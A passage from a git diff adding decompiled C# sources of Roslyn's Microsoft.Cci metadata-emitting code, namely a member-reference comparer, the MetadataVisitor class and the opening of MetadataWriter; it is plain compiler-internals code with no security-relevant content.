_metadataWriter.GetFieldSignatureIndex(fieldReference2); + } + IMethodReference methodReference = x as IMethodReference; + IMethodReference methodReference2 = y as IMethodReference; + if (methodReference != null && methodReference2 != null) + { + return _metadataWriter.GetMethodSignatureHandle(methodReference) == _metadataWriter.GetMethodSignatureHandle(methodReference2); + } + return false; + } + + public int GetHashCode(ITypeMemberReference memberRef) + { + int num = Hash.Combine(memberRef.Name, _metadataWriter.GetMemberReferenceParent(memberRef).GetHashCode()); + if (memberRef is IFieldReference fieldReference) + { + num = Hash.Combine(num, _metadataWriter.GetFieldSignatureIndex(fieldReference).GetHashCode()); + } + else if (memberRef is IMethodReference methodReference) + { + num = Hash.Combine(num, _metadataWriter.GetMethodSignatureHandle(methodReference).GetHashCode()); + } + return num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MetadataVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MetadataVisitor.cs new file mode 100644 index 0000000..f285ece --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MetadataVisitor.cs @@ -0,0 +1,636 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal abstract class MetadataVisitor +{ + public readonly EmitContext Context; + + public MetadataVisitor(EmitContext context) + { + Context = context; + } + + public virtual void Visit(IArrayTypeReference arrayTypeReference) + { + Visit(arrayTypeReference.GetElementType(Context)); + } + + public void Visit(IEnumerable assemblyReferences) + { + foreach (IAssemblyReference assemblyReference in assemblyReferences) + { + Visit((IUnitReference)assemblyReference); + } + } + + public virtual void Visit(IAssemblyReference assemblyReference) + { + } + + public void Visit(IEnumerable customAttributes) + { + foreach (ICustomAttribute customAttribute in customAttributes) + { + Visit(customAttribute); + } + } + + public virtual void Visit(ICustomAttribute customAttribute) + { + IMethodReference methodReference = customAttribute.Constructor(Context, reportDiagnostics: false); + if (methodReference != null) + { + Visit(customAttribute.GetArguments(Context)); + Visit(methodReference); + Visit(customAttribute.GetNamedArguments(Context)); + } + } + + public void Visit(ImmutableArray customModifiers) + { + ImmutableArray.Enumerator enumerator = customModifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + ICustomModifier current = enumerator.Current; + Visit(current); + } + } + + public virtual void Visit(ICustomModifier customModifier) + { + Visit(customModifier.GetModifier(Context)); + } + + public void Visit(IEnumerable events) + { + foreach (IEventDefinition @event in events) + { + Visit((ITypeDefinitionMember)@event); + } + } + + public virtual void Visit(IEventDefinition eventDefinition) + { + Visit(eventDefinition.GetAccessors(Context)); + Visit(eventDefinition.GetType(Context)); + } + + public void Visit(IEnumerable fields) + { + foreach (IFieldDefinition field in fields) + { + Visit((ITypeDefinitionMember)field); + } + } + + public virtual void Visit(IFieldDefinition fieldDefinition) + { + MetadataConstant compileTimeValue = fieldDefinition.GetCompileTimeValue(Context); + IMarshallingInformation marshallingInformation = fieldDefinition.MarshallingInformation; + if (compileTimeValue != null) + { + Visit((IMetadataExpression)compileTimeValue); + } + if (marshallingInformation != null) + { + Visit(marshallingInformation); + } + Visit(fieldDefinition.RefCustomModifiers); + Visit(fieldDefinition.GetType(Context)); + } + + public virtual void Visit(IFieldReference fieldReference) + { + Visit((ITypeMemberReference)fieldReference); + } + + public void Visit(IEnumerable fileReferences) + { + foreach (IFileReference fileReference in fileReferences) + { + Visit(fileReference); + } + } + + public virtual void Visit(IFileReference fileReference) + { + } + + public virtual void Visit(IGenericMethodInstanceReference genericMethodInstanceReference) + { + } + + public void Visit(IEnumerable genericParameters) + { + foreach (IGenericMethodParameter genericParameter in genericParameters) + { + Visit((IGenericParameter)genericParameter); + } + } + + public virtual void Visit(IGenericMethodParameter genericMethodParameter) + { + } + + public virtual void Visit(IGenericMethodParameterReference genericMethodParameterReference) + { + } + + public virtual void Visit(IGenericParameter genericParameter) + { + Visit(genericParameter.GetAttributes(Context)); + Visit(genericParameter.GetConstraints(Context)); + genericParameter.Dispatch(this); + } + + public abstract void Visit(IGenericTypeInstanceReference genericTypeInstanceReference); + + public void Visit(IEnumerable genericParameters) + { + foreach (IGenericTypeParameter genericParameter in genericParameters) + { + Visit((IGenericParameter)genericParameter); + } + } + + public virtual void Visit(IGenericTypeParameter genericTypeParameter) + { + } + + public virtual void Visit(IGenericTypeParameterReference genericTypeParameterReference) + { + } + + public virtual void Visit(IGlobalFieldDefinition globalFieldDefinition) + { + Visit((IFieldDefinition)globalFieldDefinition); + } + + public virtual void Visit(IGlobalMethodDefinition globalMethodDefinition) + { + Visit((IMethodDefinition)globalMethodDefinition); + } + + public void Visit(ImmutableArray localDefinitions) + { + ImmutableArray.Enumerator enumerator = localDefinitions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ILocalDefinition current = enumerator.Current; + Visit(current); + } + } + + public virtual void Visit(ILocalDefinition localDefinition) + { + Visit(localDefinition.CustomModifiers); + Visit(localDefinition.Type); + } + + public virtual void Visit(IMarshallingInformation marshallingInformation) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/MetadataVisitor.cs", 213); + } + + public virtual void Visit(MetadataConstant constant) + { + } + + public virtual void Visit(MetadataCreateArray createArray) + { + Visit(createArray.ElementType); + Visit(createArray.Elements); + } + + public void Visit(IEnumerable expressions) + { + foreach (IMetadataExpression expression in expressions) + { + Visit(expression); + } + } + + public virtual void Visit(IMetadataExpression expression) + { + Visit(expression.Type); + expression.Dispatch(this); + } + + public void Visit(IEnumerable namedArguments) + { + foreach (IMetadataNamedArgument namedArgument in namedArguments) + { + Visit((IMetadataExpression)namedArgument); + } + } + + public virtual void Visit(IMetadataNamedArgument namedArgument) + { + Visit(namedArgument.ArgumentValue); + } + + public virtual void Visit(MetadataTypeOf typeOf) + { + if (typeOf.TypeToGet != null) + { + Visit(typeOf.TypeToGet); + } + } + + public virtual void Visit(IMethodBody methodBody) + { + ImmutableArray.Enumerator enumerator = methodBody.LocalScopes.GetEnumerator(); + while (enumerator.MoveNext()) + { + Visit(enumerator.Current.Constants); + } + Visit(methodBody.LocalVariables); + Visit(methodBody.ExceptionRegions); + } + + public void Visit(IEnumerable methods) + { + foreach (IMethodDefinition method in methods) + { + Visit((ITypeDefinitionMember)method); + } + } + + public virtual void Visit(IMethodDefinition method) + { + Visit(method.GetReturnValueAttributes(Context)); + Visit(method.RefCustomModifiers); + Visit(method.ReturnValueCustomModifiers); + if (method.HasDeclarativeSecurity) + { + Visit(method.SecurityAttributes); + } + if (method.IsGeneric) + { + Visit(method.GenericParameters); + } + Visit(method.GetType(Context)); + Visit(method.Parameters); + if (method.IsPlatformInvoke) + { + Visit(method.PlatformInvokeData); + } + } + + public void Visit(IEnumerable methodImplementations) + { + foreach (MethodImplementation methodImplementation in methodImplementations) + { + Visit(methodImplementation); + } + } + + public virtual void Visit(MethodImplementation methodImplementation) + { + Visit(methodImplementation.ImplementedMethod); + Visit(methodImplementation.ImplementingMethod); + } + + public void Visit(IEnumerable methodReferences) + { + foreach (IMethodReference methodReference in methodReferences) + { + Visit(methodReference); + } + } + + public virtual void Visit(IMethodReference methodReference) + { + IGenericMethodInstanceReference asGenericMethodInstanceReference = methodReference.AsGenericMethodInstanceReference; + if (asGenericMethodInstanceReference != null) + { + Visit(asGenericMethodInstanceReference); + } + else + { + Visit((ITypeMemberReference)methodReference); + } + } + + public virtual void Visit(IModifiedTypeReference modifiedTypeReference) + { + Visit(modifiedTypeReference.CustomModifiers); + Visit(modifiedTypeReference.UnmodifiedType); + } + + public abstract void Visit(CommonPEModuleBuilder module); + + public void Visit(IEnumerable moduleReferences) + { + foreach (IModuleReference moduleReference in moduleReferences) + { + Visit((IUnitReference)moduleReference); + } + } + + public virtual void Visit(IModuleReference moduleReference) + { + } + + public void Visit(IEnumerable types) + { + foreach (INamedTypeDefinition type in types) + { + Visit(type); + } + } + + public virtual void Visit(INamespaceTypeDefinition namespaceTypeDefinition) + { + } + + public virtual void Visit(INamespaceTypeReference namespaceTypeReference) + { + } + + public void VisitNestedTypes(IEnumerable nestedTypes) + { + foreach (ITypeDefinitionMember nestedType in nestedTypes) + { + Visit(nestedType); + } + } + + public virtual void Visit(INestedTypeDefinition nestedTypeDefinition) + { + } + + public virtual void Visit(INestedTypeReference nestedTypeReference) + { + Visit(nestedTypeReference.GetContainingType(Context)); + } + + public void Visit(ImmutableArray exceptionRegions) + { + ImmutableArray.Enumerator enumerator = exceptionRegions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExceptionHandlerRegion current = enumerator.Current; + Visit(current); + } + } + + public virtual void Visit(ExceptionHandlerRegion exceptionRegion) + { + ITypeReference exceptionType = exceptionRegion.ExceptionType; + if (exceptionType != null) + { + Visit(exceptionType); + } + } + + public void Visit(ImmutableArray parameters) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterDefinition current = enumerator.Current; + Visit(current); + } + } + + public virtual void Visit(IParameterDefinition parameterDefinition) + { + IMarshallingInformation marshallingInformation = parameterDefinition.MarshallingInformation; + Visit(parameterDefinition.GetAttributes(Context)); + Visit(parameterDefinition.RefCustomModifiers); + Visit(parameterDefinition.CustomModifiers); + MetadataConstant defaultValue = parameterDefinition.GetDefaultValue(Context); + if (defaultValue != null) + { + Visit((IMetadataExpression)defaultValue); + } + if (marshallingInformation != null) + { + Visit(marshallingInformation); + } + Visit(parameterDefinition.GetType(Context)); + } + + public void Visit(ImmutableArray parameterTypeInformations) + { + ImmutableArray.Enumerator enumerator = parameterTypeInformations.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterTypeInformation current = enumerator.Current; + Visit(current); + } + } + + public virtual void Visit(IParameterTypeInformation parameterTypeInformation) + { + Visit(parameterTypeInformation.RefCustomModifiers); + Visit(parameterTypeInformation.CustomModifiers); + Visit(parameterTypeInformation.GetType(Context)); + } + + public virtual void Visit(IPlatformInvokeInformation platformInvokeInformation) + { + } + + public virtual void Visit(IPointerTypeReference pointerTypeReference) + { + Visit(pointerTypeReference.GetTargetType(Context)); + } + + public virtual void Visit(IFunctionPointerTypeReference functionPointerTypeReference) + { + Visit(functionPointerTypeReference.Signature.RefCustomModifiers); + Visit(functionPointerTypeReference.Signature.ReturnValueCustomModifiers); + Visit(functionPointerTypeReference.Signature.GetType(Context)); + ImmutableArray.Enumerator enumerator = functionPointerTypeReference.Signature.GetParameters(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterTypeInformation current = enumerator.Current; + Visit(current); + } + } + + public void Visit(IEnumerable properties) + { + foreach (IPropertyDefinition property in properties) + { + Visit((ITypeDefinitionMember)property); + } + } + + public virtual void Visit(IPropertyDefinition propertyDefinition) + { + Visit(propertyDefinition.GetAccessors(Context)); + Visit(propertyDefinition.Parameters); + } + + public void Visit(IEnumerable resources) + { + foreach (ManagedResource resource in resources) + { + Visit(resource); + } + } + + public virtual void Visit(ManagedResource resource) + { + } + + public virtual void Visit(SecurityAttribute securityAttribute) + { + Visit(securityAttribute.Attribute); + } + + public void Visit(IEnumerable securityAttributes) + { + foreach (SecurityAttribute securityAttribute in securityAttributes) + { + Visit(securityAttribute); + } + } + + public void Visit(IEnumerable typeMembers) + { + foreach (ITypeDefinitionMember typeMember in typeMembers) + { + Visit(typeMember); + } + } + + public void Visit(IEnumerable types) + { + foreach (ITypeDefinition type in types) + { + Visit(type); + } + } + + public abstract void Visit(ITypeDefinition typeDefinition); + + public virtual void Visit(ITypeDefinitionMember typeMember) + { + ITypeDefinition typeDefinition = typeMember as INestedTypeDefinition; + if (typeDefinition != null) + { + Visit(typeDefinition); + return; + } + Visit(typeMember.GetAttributes(Context)); + typeMember.Dispatch(this); + } + + public virtual void Visit(ITypeMemberReference typeMemberReference) + { + if (typeMemberReference.AsDefinition(Context) == null) + { + Visit(typeMemberReference.GetAttributes(Context)); + } + } + + public void Visit(IEnumerable typeReferences) + { + foreach (ITypeReference typeReference in typeReferences) + { + Visit(typeReference); + } + } + + public void Visit(IEnumerable typeRefsWithAttributes) + { + foreach (TypeReferenceWithAttributes typeRefsWithAttribute in typeRefsWithAttributes) + { + Visit(typeRefsWithAttribute.TypeRef); + Visit(typeRefsWithAttribute.Attributes); + } + } + + public virtual void Visit(ITypeReference typeReference) + { + DispatchAsReference(typeReference); + } + + protected void DispatchAsReference(ITypeReference typeReference) + { + INamespaceTypeReference asNamespaceTypeReference = typeReference.AsNamespaceTypeReference; + if (asNamespaceTypeReference != null) + { + Visit(asNamespaceTypeReference); + return; + } + IGenericTypeInstanceReference asGenericTypeInstanceReference = typeReference.AsGenericTypeInstanceReference; + if (asGenericTypeInstanceReference != null) + { + Visit(asGenericTypeInstanceReference); + return; + } + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + if (asNestedTypeReference != null) + { + Visit(asNestedTypeReference); + return; + } + if (typeReference is IArrayTypeReference arrayTypeReference) + { + Visit(arrayTypeReference); + return; + } + IGenericTypeParameterReference asGenericTypeParameterReference = typeReference.AsGenericTypeParameterReference; + if (asGenericTypeParameterReference != null) + { + Visit(asGenericTypeParameterReference); + return; + } + IGenericMethodParameterReference asGenericMethodParameterReference = typeReference.AsGenericMethodParameterReference; + if (asGenericMethodParameterReference != null) + { + Visit(asGenericMethodParameterReference); + } + else if (typeReference is IPointerTypeReference pointerTypeReference) + { + Visit(pointerTypeReference); + } + else if (typeReference is IFunctionPointerTypeReference functionPointerTypeReference) + { + Visit(functionPointerTypeReference); + } + else if (typeReference is IModifiedTypeReference modifiedTypeReference) + { + Visit(modifiedTypeReference); + } + } + + public void Visit(IEnumerable unitReferences) + { + foreach (IUnitReference unitReference in unitReferences) + { + Visit(unitReference); + } + } + + public virtual void Visit(IUnitReference unitReference) + { + DispatchAsReference(unitReference); + } + + private void DispatchAsReference(IUnitReference unitReference) + { + if (unitReference is IAssemblyReference assemblyReference) + { + Visit(assemblyReference); + } + else if (unitReference is IModuleReference moduleReference) + { + Visit(moduleReference); + } + } + + public virtual void Visit(IWin32Resource win32Resource) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MetadataWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MetadataWriter.cs new file mode 100644 index 0000000..031d77a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MetadataWriter.cs @@ -0,0 +1,3877 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Emit; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Reflection.PortableExecutable; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.DiaSymReader; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal abstract class MetadataWriter +{ + public enum RawTokenEncoding : byte + { + None, + RowId, + GreatestMethodDefinitionRowId, + DocumentRowId, + LiftedVariableId + } + + protected abstract class HeapOrReferenceIndexBase + { + private readonly MetadataWriter _writer; + + private readonly List _rows; + + private readonly int _firstRowId; + + public IReadOnlyList Rows => _rows; + + protected HeapOrReferenceIndexBase(MetadataWriter writer, int lastRowId) + { + _writer = writer; + _rows = new List(); + _firstRowId = lastRowId + 1; + } + + public abstract bool TryGetValue(T item, out int index); + + public int GetOrAdd(T item) + { + if (!TryGetValue(item, out var index)) + { + return Add(item); + } + return index; + } + + public int Add(T item) + { + int num = _firstRowId + _rows.Count; + _rows.Add(item); + AddItem(item, num); + return num; + } + + protected abstract void AddItem(T item, int index); + } + + protected sealed class HeapOrReferenceIndex : HeapOrReferenceIndexBase + { + private readonly Dictionary _index; + + public HeapOrReferenceIndex(MetadataWriter writer, int lastRowId = 0) + : this(writer, new Dictionary(), lastRowId) + { + } + + private HeapOrReferenceIndex(MetadataWriter writer, Dictionary index, int lastRowId) + : base(writer, lastRowId) + { + _index = index; + } + + public override bool TryGetValue(T item, out int index) + { + return _index.TryGetValue(item, out index); + } + + protected override void AddItem(T item, int index) + { + _index.Add(item, index); + } + } + + protected sealed class TypeReferenceIndex : HeapOrReferenceIndexBase + { + private readonly Dictionary _index; + + public TypeReferenceIndex(MetadataWriter writer, int lastRowId = 0) + : this(writer, new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance), lastRowId) + { + } + + private TypeReferenceIndex(MetadataWriter writer, Dictionary index, int lastRowId) + : base(writer, lastRowId) + { + _index = index; + } + + public override bool TryGetValue(ITypeReference item, out int index) + { + return _index.TryGetValue(item, out index); + } + + protected override void AddItem(ITypeReference item, int index) + { + _index.Add(item, index); + } + } + + protected sealed class InstanceAndStructuralReferenceIndex : HeapOrReferenceIndexBase where T : class, IReference + { + private readonly Dictionary _instanceIndex; + + private readonly Dictionary _structuralIndex; + + public InstanceAndStructuralReferenceIndex(MetadataWriter writer, IEqualityComparer structuralComparer, int lastRowId = 0) + : base(writer, lastRowId) + { + _instanceIndex = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _structuralIndex = new Dictionary(structuralComparer); + } + + public override bool TryGetValue(T item, out int index) + { + if (_instanceIndex.TryGetValue(item, out index)) + { + return true; + } + if (_structuralIndex.TryGetValue(item, out index)) + { + _instanceIndex.Add(item, index); + return true; + } + return false; + } + + protected override void AddItem(T item, int index) + { + _instanceIndex.Add(item, index); + _structuralIndex.Add(item, index); + } + } + + private class ByteSequenceBoolTupleComparer : IEqualityComparer<(ImmutableArray, bool)> + { + internal static readonly ByteSequenceBoolTupleComparer Instance = new ByteSequenceBoolTupleComparer(); + + private ByteSequenceBoolTupleComparer() + { + } + + bool IEqualityComparer<(ImmutableArray, bool)>.Equals((ImmutableArray, bool) x, (ImmutableArray, bool) y) + { + if (x.Item2 == y.Item2) + { + return ByteSequenceComparer.Equals(x.Item1, y.Item1); + } + return false; + } + + int IEqualityComparer<(ImmutableArray, bool)>.GetHashCode((ImmutableArray, bool) x) + { + return Hash.Combine(ByteSequenceComparer.GetHashCode(x.Item1), x.Item2.GetHashCode()); + } + } + + internal sealed class ImportScopeEqualityComparer : IEqualityComparer + { + private readonly EmitContext _context; + + public ImportScopeEqualityComparer(EmitContext context) + { + _context = context; + } + + public bool Equals(IImportScope x, IImportScope y) + { + if (x != y) + { + if (x != null && y != null && Equals(x.Parent, y.Parent)) + { + return x.GetUsedNamespaces(_context).SequenceEqual(y.GetUsedNamespaces(_context)); + } + return false; + } + return true; + } + + public int GetHashCode(IImportScope obj) + { + return Hash.Combine(Hash.CombineValues(obj.GetUsedNamespaces(_context)), (obj.Parent != null) ? GetHashCode(obj.Parent) : 0); + } + } + + internal static readonly Encoding s_utf8Encoding = Encoding.UTF8; + + internal const int NameLengthLimit = 1023; + + internal const int PathLengthLimit = 259; + + internal const int PdbLengthLimit = 2046; + + private readonly bool _deterministic; + + internal readonly bool MetadataOnly; + + internal readonly bool EmitTestCoverageData; + + private readonly Dictionary<(ImmutableArray, bool), int> _smallMethodBodies; + + private const byte TinyFormat = 2; + + private const int ThrowNullCodeSize = 2; + + private static readonly ImmutableArray ThrowNullEncodedBody = ImmutableArray.Create((byte)10, (byte)20, (byte)122); + + private readonly CancellationToken _cancellationToken; + + protected readonly CommonPEModuleBuilder module; + + public readonly EmitContext Context; + + protected readonly CommonMessageProvider messageProvider; + + private bool _tableIndicesAreComplete; + + private bool _usingNonSourceDocumentNameEnumerator; + + private ImmutableArray.Enumerator _nonSourceDocumentNameEnumerator; + + private EntityHandle[] _pseudoSymbolTokenToTokenMap; + + private object[] _pseudoSymbolTokenToReferenceMap; + + private UserStringHandle[] _pseudoStringTokenToTokenMap; + + private bool _userStringTokenOverflow; + + private List _pseudoStringTokenToStringMap; + + private ReferenceIndexer _referenceVisitor; + + protected readonly MetadataBuilder metadata; + + protected readonly MetadataBuilder _debugMetadataOpt; + + private readonly DynamicAnalysisDataWriter _dynamicAnalysisDataWriterOpt; + + private readonly Dictionary _customAttributeSignatureIndex = new Dictionary(); + + private readonly Dictionary _typeSpecSignatureIndex = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private readonly Dictionary _fileRefIndex = new Dictionary(32); + + private readonly List _fileRefList = new List(32); + + private readonly Dictionary _fieldSignatureIndex = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private readonly Dictionary>> _signatureIndex; + + private readonly Dictionary _marshallingDescriptorIndex = new Dictionary(); + + protected readonly List methodImplList = new List(); + + private readonly Dictionary _methodInstanceSignatureIndex = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + internal const string dummyAssemblyAttributeParentNamespace = "System.Runtime.CompilerServices"; + + internal const string dummyAssemblyAttributeParentName = "AssemblyAttributesGoHere"; + + internal static readonly string[,] dummyAssemblyAttributeParentQualifier = new string[2, 2] + { + { "", "M" }, + { "S", "SM" } + }; + + private readonly TypeReferenceHandle[,] _dummyAssemblyAttributeParent = new TypeReferenceHandle[2, 2]; + + internal const uint ModuleVersionIdStringToken = 2147483648u; + + internal const int LiftedVariableBaseIndex = 65536; + + private readonly Dictionary _documentIndex = new Dictionary(); + + private readonly Dictionary _scopeIndex; + + private static readonly ImportScopeHandle ModuleImportScopeHandle = MetadataTokens.ImportScopeHandle(1); + + private const int CompilationOptionsSchemaVersion = 2; + + internal bool IsFullMetadata => Generation == 0; + + private bool IsMinimalDelta => !IsFullMetadata; + + private bool EmitAssemblyDefinition + { + get + { + if (module.OutputKind != OutputKind.NetModule) + { + return !IsMinimalDelta; + } + return false; + } + } + + protected abstract ushort Generation { get; } + + protected abstract Guid EncId { get; } + + protected abstract Guid EncBaseId { get; } + + protected abstract int GreatestMethodDefIndex { get; } + + internal bool EmitPortableDebugMetadata => _debugMetadataOpt != null; + + internal CommonPEModuleBuilder Module => module; + + protected MetadataWriter(MetadataBuilder metadata, MetadataBuilder debugMetadataOpt, DynamicAnalysisDataWriter dynamicAnalysisDataWriterOpt, EmitContext context, CommonMessageProvider messageProvider, bool metadataOnly, bool deterministic, bool emitTestCoverageData, CancellationToken cancellationToken) + { + module = context.Module; + _deterministic = deterministic; + MetadataOnly = metadataOnly; + EmitTestCoverageData = emitTestCoverageData; + _signatureIndex = new Dictionary>>(module.HintNumberOfMethodDefinitions, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + Context = context; + this.messageProvider = messageProvider; + _cancellationToken = cancellationToken; + this.metadata = metadata; + _debugMetadataOpt = debugMetadataOpt; + _dynamicAnalysisDataWriterOpt = dynamicAnalysisDataWriterOpt; + _smallMethodBodies = new Dictionary<(ImmutableArray, bool), int>(ByteSequenceBoolTupleComparer.Instance); + _scopeIndex = new Dictionary(new ImportScopeEqualityComparer(context)); + } + + protected abstract bool TryGetTypeDefinitionHandle(ITypeDefinition def, out TypeDefinitionHandle handle); + + protected abstract TypeDefinitionHandle GetTypeDefinitionHandle(ITypeDefinition def); + + protected abstract ITypeDefinition GetTypeDef(TypeDefinitionHandle handle); + + protected abstract IReadOnlyList GetTypeDefs(); + + protected abstract EventDefinitionHandle GetEventDefinitionHandle(IEventDefinition def); + + protected abstract IReadOnlyList GetEventDefs(); + + protected abstract FieldDefinitionHandle GetFieldDefinitionHandle(IFieldDefinition def); + + protected abstract IReadOnlyList GetFieldDefs(); + + protected abstract bool TryGetMethodDefinitionHandle(IMethodDefinition def, out MethodDefinitionHandle handle); + + protected abstract MethodDefinitionHandle GetMethodDefinitionHandle(IMethodDefinition def); + + protected abstract IMethodDefinition GetMethodDef(MethodDefinitionHandle handle); + + protected abstract IReadOnlyList GetMethodDefs(); + + protected abstract PropertyDefinitionHandle GetPropertyDefIndex(IPropertyDefinition def); + + protected abstract IReadOnlyList GetPropertyDefs(); + + protected abstract ParameterHandle GetParameterHandle(IParameterDefinition def); + + protected abstract IReadOnlyList GetParameterDefs(); + + protected abstract IReadOnlyList GetGenericParameters(); + + protected abstract FieldDefinitionHandle GetFirstFieldDefinitionHandle(INamedTypeDefinition typeDef); + + protected abstract MethodDefinitionHandle GetFirstMethodDefinitionHandle(INamedTypeDefinition typeDef); + + protected abstract ParameterHandle GetFirstParameterHandle(IMethodDefinition methodDef); + + protected abstract AssemblyReferenceHandle GetOrAddAssemblyReferenceHandle(IAssemblyReference reference); + + protected abstract IReadOnlyList GetAssemblyRefs(); + + protected abstract ModuleReferenceHandle GetOrAddModuleReferenceHandle(string reference); + + protected abstract IReadOnlyList GetModuleRefs(); + + protected abstract MemberReferenceHandle GetOrAddMemberReferenceHandle(ITypeMemberReference reference); + + protected abstract IReadOnlyList GetMemberRefs(); + + protected abstract MethodSpecificationHandle GetOrAddMethodSpecificationHandle(IGenericMethodInstanceReference reference); + + protected abstract IReadOnlyList GetMethodSpecs(); + + protected abstract bool TryGetTypeReferenceHandle(ITypeReference reference, out TypeReferenceHandle handle); + + protected abstract TypeReferenceHandle GetOrAddTypeReferenceHandle(ITypeReference reference); + + protected abstract IReadOnlyList GetTypeRefs(); + + protected abstract TypeSpecificationHandle GetOrAddTypeSpecificationHandle(ITypeReference reference); + + protected abstract IReadOnlyList GetTypeSpecs(); + + protected abstract StandaloneSignatureHandle GetOrAddStandaloneSignatureHandle(BlobHandle handle); + + protected abstract IReadOnlyList GetStandaloneSignatureBlobHandles(); + + protected abstract void CreateIndicesForNonTypeMembers(ITypeDefinition typeDef); + + protected abstract ReferenceIndexer CreateReferenceVisitor(); + + protected abstract void PopulateEventMapTableRows(); + + protected abstract void PopulatePropertyMapTableRows(); + + protected abstract void ReportReferencesToAddedSymbols(); + + private void CreateMethodBodyReferenceIndex() + { + ReadOnlySpan readOnlySpan = module.ReferencesInIL(); + _pseudoSymbolTokenToTokenMap = new EntityHandle[readOnlySpan.Length]; + _pseudoSymbolTokenToReferenceMap = readOnlySpan.ToArray(); + } + + private void CreateIndices() + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + CreateUserStringIndices(); + CreateInitialAssemblyRefIndex(); + CreateInitialFileRefIndex(); + CreateIndicesForModule(); + _referenceVisitor = CreateReferenceVisitor(); + _referenceVisitor.Visit(module); + CreateMethodBodyReferenceIndex(); + OnIndicesCreated(); + } + + private void CreateUserStringIndices() + { + _pseudoStringTokenToStringMap = new List(); + foreach (string @string in module.GetStrings()) + { + _pseudoStringTokenToStringMap.Add(@string); + } + _pseudoStringTokenToTokenMap = new UserStringHandle[_pseudoStringTokenToStringMap.Count]; + } + + private void CreateIndicesForModule() + { + Queue queue = new Queue(); + foreach (INamespaceTypeDefinition topLevelTypeDefinition in module.GetTopLevelTypeDefinitions(Context)) + { + CreateIndicesFor(topLevelTypeDefinition, queue); + } + while (queue.Count > 0) + { + INestedTypeDefinition typeDef = queue.Dequeue(); + CreateIndicesFor(typeDef, queue); + } + } + + protected virtual void OnIndicesCreated() + { + } + + private void CreateIndicesFor(ITypeDefinition typeDef, Queue nestedTypes) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + CreateIndicesForNonTypeMembers(typeDef); + foreach (INestedTypeDefinition nestedType in typeDef.GetNestedTypes(Context)) + { + nestedTypes.Enqueue(nestedType); + } + } + + protected IEnumerable GetConsolidatedTypeParameters(ITypeDefinition typeDef) + { + if (typeDef.AsNestedTypeDefinition(Context) == null) + { + if (typeDef.IsGeneric) + { + return typeDef.GenericParameters; + } + return null; + } + return GetConsolidatedTypeParameters(typeDef, typeDef); + } + + private List GetConsolidatedTypeParameters(ITypeDefinition typeDef, ITypeDefinition owner) + { + List list = null; + INestedTypeDefinition nestedTypeDefinition = typeDef.AsNestedTypeDefinition(Context); + if (nestedTypeDefinition != null) + { + list = GetConsolidatedTypeParameters(nestedTypeDefinition.ContainingTypeDefinition, owner); + } + if (typeDef.GenericParameterCount > 0) + { + ushort num = 0; + if (list == null) + { + list = new List(); + } + else + { + num = (ushort)list.Count; + } + if (typeDef == owner && num == 0) + { + list.AddRange(typeDef.GenericParameters); + } + else + { + foreach (IGenericTypeParameter genericParameter in typeDef.GenericParameters) + { + list.Add(new InheritedTypeParameter(num++, owner, genericParameter)); + } + } + } + return list; + } + + protected ImmutableArray GetParametersToEmit(IMethodDefinition methodDef) + { + if (methodDef.ParameterCount == 0 && !methodDef.ReturnValueIsMarshalledExplicitly && !IteratorHelper.EnumerableIsNotEmpty(methodDef.GetReturnValueAttributes(Context))) + { + return ImmutableArray.Empty; + } + return GetParametersToEmitCore(methodDef); + } + + private ImmutableArray GetParametersToEmitCore(IMethodDefinition methodDef) + { + ArrayBuilder arrayBuilder = null; + ImmutableArray parameters = methodDef.Parameters; + if (methodDef.ReturnValueIsMarshalledExplicitly || IteratorHelper.EnumerableIsNotEmpty(methodDef.GetReturnValueAttributes(Context))) + { + arrayBuilder = ArrayBuilder.GetInstance(parameters.Length + 1); + arrayBuilder.Add(new ReturnValueParameter(methodDef)); + } + for (int i = 0; i < parameters.Length; i++) + { + IParameterDefinition parameterDefinition = parameters[i]; + if (parameterDefinition.Name != string.Empty || parameterDefinition.HasDefaultValue || parameterDefinition.IsOptional || parameterDefinition.IsOut || parameterDefinition.IsMarshalledExplicitly || IteratorHelper.EnumerableIsNotEmpty(parameterDefinition.GetAttributes(Context))) + { + arrayBuilder?.Add(parameterDefinition); + } + else if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(parameters.Length); + 